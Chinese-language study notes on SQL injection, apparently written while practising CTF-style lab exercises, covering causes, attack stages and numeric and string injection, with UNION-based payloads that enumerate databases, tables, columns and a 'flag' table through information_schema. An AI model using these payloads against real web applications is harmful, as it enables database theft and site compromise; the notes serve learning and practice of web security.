sql注入
wed应用程序对用户输入的数据的合法性没有判断或者过滤不严格,导致拼接的sql被执行,获取对数据库的信息以及提取(程序员编写时出现的疏忽,通过sql语句·实现账号无法登陆,甚至篡改数据,)从而发生sql注入
原因:
代码对带sql语句的sql过滤不严格
未启用框架的安全配置 php的magic_quotes_gpc
未使用框架完全的查询方法
测试接口未删除
未启用防火墙
未使用其他的安全防护设备
原理:
SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/get的方式在web表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程
漏洞的危害:(任何和数据库交互的地方都有注入)
数据库信息被泄露,网页被篡改
网站被挂马,传播恶意软件
服务器被远程控制被安装后门。
注入过程:
1,sql注入点探测适当分析应用程序,可以判断在什么地方存在sql注入,一般通过页面的报错信息确定是否存在sql注入漏洞
2,搜集后台数据库的信息,不同数据库的注入方法,函数都不尽相同。可以输入特殊字符,如,单引号,让程序返回错误信息,根据错误信息提示进行判断,还可以使用特定函数来判断
3,拆解用户名和密码,数据库中的表和字段命名一般都有规律,可以通过构造特殊sql语句在数据库中依次拆解出来,表名,字段名,字段数,用户名和密码
4,查找wed后台管理入口,要找到后台管理的登陆网址,可以利用wed目录扫描工具快速搜索到可能登录的网址,逐个去尝试
5,入侵和破坏使用前面已经破译的用户名,密码,成功登录后台管理平台,进行任意破坏,例如,上传木马,篡改网页,修改和盗取信息,入侵到wed服务器,和数据库服误
注入的方法:
数字型攻击:
例子:正常sql语句:select * from mytable where id=1
攻击sql语句:select * from mytable where id=-1 or 1=1
(让id等于一个不存在的值,后边拼接一个永远成立的值)
sql注入的思路:
1,寻找sql注入的位置
2,判断服务器类型和后台了数据库类型
3,针对不同的服务器和数据库特点进行sql进行注入攻击
字符串攻击
原理跟数字攻击类似,字符串攻击主要是利用“代码注释”的特性,在sql代码中用于注释的符号有:“#”,“–”
正常sql语句:select * from mytable where name=‘a’ and p=‘123’
攻击sql语句:select * from mytable where name=‘a’ # and p=‘123’
攻击语句执行的时候,传递的参数为 " a’# "(注意 a 后面的 ’ 符号,这是闭合SQL语句的关键),pwd的值无所谓了(因为已经被当做注释,不执行了),这样就可以不通过pwd信息就能查到name = a 的相关信息
自我理解过程:
第一步:判断是什么类型注入(数字型,字符型)输入的数字带单引号来判断能否运行。字符型的 where 1’ and 1=1 #(注释部分,后边的都不会显示出来)
select name ,id,password from user where ‘1’ or order by 3((要通过二分法来判断,表示有三列,有name,id,password)
第二步:
获取数据库名:例子:1’ union select 1,database() #
第二步:
通过order by语句(采用二分法)来判断列数有多少
第三步:
查表:例子 1’ union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #(把数据库中所有的表都列完出来)
第三步:
获取字段:例子:
1’ union select 1,group_concat(column_name)from information_schema.columns where table_name=‘users’ #
第四步:
获取数据:例子:1 and 1=2 union select 1,flag from error_flag limit 0,1(1=2这条语句是错的,但不会影响运算结果)
整型注入:
判断是否有注入(判断是否有严格校验)
1,可控参数的改变能否影响页面的结果
2,输入的sql语句时候能够报错,你通过数据库的报错,看到数据库的一些语句痕迹(select username,password from user where id=’?’#’ limit 0,1)
3,输入的sql语句能否不报错,我们的语句能够成功闭合
什么类型的注入
语句是否被恶意修改(where id=1 and 0(为假))
是否能够成功执行
获取我们想要的数据
所有的内容包含在数据库中表里的某个字段的值
mysql有自带的表(mysql,information_schema)
由table_schema查找表table_name再查找表里的column_name某个字段
查询当前数据库名
id=4 union select 1,database()
题目一:整形注入:
判断是否注入:
输入id=1或者id=1’或者id=1 and 2 查看是否报错
输入id=1 order by 1((查询字段数量,根据数字分布列数,上一个数可以执行,在下一个的一个执行时出现错误,这数值为中间那个,采用二分法)
查询sql插入位置:输入id=1 union select1,2…
获取数据库名:把2位置分别修改为database(),version() (版本号)
获取所有数据库名:id=-1 union select 1,group_concat(schema_name)from information_schema.schemata
逐条获取数据库名:select schema_name from information_schema.schemata limit 0,1;
获取数据库所有表名id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’
逐条获取数据库表名:select table_name from information_schema.tables where table_schema=‘sqli’ limit 0,1;
获取所有字段名;id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’
获取一个字段名(以flag为例子)id=-1 union select 1,(select column_name from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ limit 0,1)
获取所有数据:id=-1 union select 1,group_concat(flag) from sqli.flag
获取一条数据:
题目二:字符型注入:(-- # 起到注释的作用)
格式为1’ union select 1,2 – ’
例如获取一条数据:id=’ union select 1,group_concat(flag) from sqli.flag – ’